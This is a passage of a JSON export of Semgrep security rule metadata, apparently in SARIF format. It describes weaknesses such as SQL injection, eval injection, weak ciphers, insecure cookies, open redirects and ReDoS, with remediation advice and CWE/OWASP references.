[https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the CBC cipher mode. This mode is insecure because it is vulnerable to padding oracle attacks. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","id":"csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","name":"csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.cbc-mode.cbc-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions."},"help":{"markdown":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.missing-ssl-version.missing-ssl-version)\n - [https://www.acunetix.com/blog/web-security-zone/hardening-nginx/](https://www.acunetix.com/blog/web-security-zone/hardening-nginx/)\n - [https://nginx.org/en/docs/http/configuring_https_servers.html](https://nginx.org/en/docs/http/configuring_https_servers.html)\n","text":"This server configuration is missing the 'ssl_protocols' directive. By default, this server will use 'ssl_protocols TLSv1 TLSv1.1 TLSv1.2', and versions older than TLSv1.2 are known to be broken. Explicitly specify 'ssl_protocols TLSv1.2 TLSv1.3' to use secure TLS versions."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.missing-ssl-version.missing-ssl-version","id":"generic.nginx.security.missing-ssl-version.missing-ssl-version","name":"generic.nginx.security.missing-ssl-version.missing-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.missing-ssl-version.missing-ssl-version"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"help":{"markdown":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.nan-injection.nan-injection)\n - [https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868](https://discuss.python.org/t/nan-breaks-min-max-and-sorting-functions-a-solution/2868)\n - [https://blog.bitdiscovery.com/2021/12/python-nan-injection/](https://blog.bitdiscovery.com/2021/12/python-nan-injection/)\n","text":"Found user input going directly into typecast for bool(), float(), or complex(). This allows an attacker to inject Python's not-a-number (NaN) into the typecast. This results in undefind behavior, particularly when doing comparisons. Either cast to a different type, or add a guard checking for all capitalizations of the string 'nan'."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.nan-injection.nan-injection","id":"python.flask.security.injection.nan-injection.nan-injection","name":"python.flask.security.injection.nan-injection.nan-injection","properties":{"precision":"very-high","tags":["CWE-704: Incorrect Type Conversion or Cast","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.nan-injection.nan-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead."},"help":{"markdown":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected RC4 cipher algorithm which is insecure. The algorithm has many known vulnerabilities. Use AES instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-rc4"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"python.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"python.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection."},"help":{"markdown":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator)\n - [https://laravel.com/docs/9.x/validation#rule-unique](https://laravel.com/docs/9.x/validation#rule-unique)\n","text":"Found a request argument passed to an `ignore()` definition in a Rule constraint. This can lead to SQL injection."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","id":"php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","name":"php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-unsafe-validator.laravel-unsafe-validator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.aiosqlite-flask.aiosqlite-flask)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.flask.db.aiosqlite-flask.aiosqlite-flask","id":"python.flask.db.aiosqlite-flask.aiosqlite-flask","name":"python.flask.db.aiosqlite-flask.aiosqlite-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.aiosqlite-flask.aiosqlite-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.eval-detected.eval-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.eval-detected.eval-detected","id":"python.lang.security.audit.eval-detected.eval-detected","name":"python.lang.security.audit.eval-detected.eval-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.eval-detected.eval-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open)\n","text":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible."},"help":{"markdown":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.code-string-concat.code-string-concat)\n - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)\n - [https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback](https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback)\n - [https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/](https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/)\n - [https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html](https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html)\n","text":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.code-string-concat.code-string-concat","id":"javascript.lang.security.audit.code-string-concat.code-string-concat","name":"javascript.lang.security.audit.code-string-concat.code-string-concat","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.code-string-concat.code-string-concat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware."},"help":{"markdown":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","id":"swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","name":"swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","id":"python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","name":"python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","id":"python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","name":"python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.redirect.open-redirect.open-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/java.micronaut.redirect.open-redirect.open-redirect","id":"java.micronaut.redirect.open-redirect.open-redirect","name":"java.micronaut.redirect.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.redirect.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters."},"help":{"markdown":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter)\n - [https://docs.djangoproject.com/en/3.2/ref/utils/#django.utils.html.format_html](https://docs.djangoproject.com/en/3.2/ref/utils/#django.utils.html.format_html)\n","text":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","id":"python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","name":"python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsCss](https://docs.angularjs.org/api/ng/service/$sce#trustAsCss)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","id":"javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","name":"javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsHtml](https://docs.angularjs.org/api/ng/service/$sce#trustAsHtml)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","id":"javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","name":"javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File creation in shared tmp directory without using ioutil.Tempfile"},"help":{"markdown":"File creation in shared tmp directory without using ioutil.Tempfile\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.bad_tmp.bad-tmp-file-creation)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"File creation in shared tmp directory without using ioutil.Tempfile"},"helpUri":"https://semgrep.dev/r/go.lang.security.bad_tmp.bad-tmp-file-creation","id":"go.lang.security.bad_tmp.bad-tmp-file-creation","name":"go.lang.security.bad_tmp.bad-tmp-file-creation","properties":{"precision":"very-high","tags":["CWE-377: Insecure Temporary File","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.bad_tmp.bad-tmp-file-creation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","id":"python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","name":"python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"No slippage check in a Uniswap v2/v3 trade"},"help":{"markdown":"No slippage check in a Uniswap v2/v3 trade\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.no-slippage-check.no-slippage-check)\n - [https://uniswapv3book.com/docs/milestone_3/slippage-protection/](https://uniswapv3book.com/docs/milestone_3/slippage-protection/)\n","text":"No slippage check in a Uniswap v2/v3 